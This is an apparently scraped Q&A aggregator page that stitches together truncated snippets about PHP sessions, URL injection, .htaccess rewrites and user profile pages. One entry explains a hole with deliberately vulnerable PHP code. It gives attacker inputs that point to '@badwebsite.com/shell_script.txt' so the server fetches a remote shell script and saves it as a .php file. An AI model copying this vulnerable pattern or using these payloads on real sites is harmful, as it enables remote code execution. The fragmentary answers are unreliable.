Can it harm to just store the user in session instead of using forms authentication
Date : March 29 2020, 07:55 AM
it fixes the issue You should never use Session for Authentication or any security for that matter. As I mentioned in my comments to Chris,
|
PHP Vulnerability (XSS, ...) > When can user input/url injection actually do harm?
Date : March 29 2020, 07:55 AM
around this issue It depends on what you're going to do with that file. The username field can pass something that would point you to a file not on that website like: $_POST['username'] = '@not-the-site-you-want.com/bad_stuff.html';
$file = 'http://www.example.com' . $_POST['username'];
$username = $_POST['username'];
// We expect 'hash' to contain '/avatar/205e460b479e2e5b48aec07710c08d50'
// See @SilverlightFox's comments below for more information.
$image = 'http://www.gravatar.com' . $_POST['hash'];
if (file_exists($file)) {
// Now we have the image stored on our local system
copy($image, 'assets/' . $username);
}
$_POST['username'] = 'shell_script.php';
$_POST['hash'] = '@badwebsite.com/shell_script.txt';
|
How can I create a single dynamic user page to process any user from their unique id
Tag : php , By : Amit Battan
Date : March 29 2020, 07:55 AM
To fix this issue I have a form that submits to the database. From there I would like to generate a unique url and populate that page with data from the database. , This is an .htaccess issue. Add this code to your .htaccess file: # Turns on Mod-Rewrite Engine
# ----------------------------------------------------------------
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-l
# Pages
# ----------------------------------------------------------------
RewriteRule ^([^/]+)/?$ WHATEVER-PAGE.php?id=$1 [QSA,L]
|
SQL/PHP How To Display Unique User Information On The User Profile Page
Date : March 29 2020, 07:55 AM
will help you I have a PHP page which should display the currently logged in users information like firstname, lastname, etc. The only problem I am having on the page is that it only displays the first user account within the database which happens to be the admin account on any user account I am logged in with on my website which is false as the information on there should be unique for each user. , mysql_* functions are deprecated. try to use at least mysqli_* $_SESSION['uid'] = $raw['user_id'];
|
What harm can a C/asm program do to Linux when run by an unprivileged user?
Date : March 29 2020, 07:55 AM
|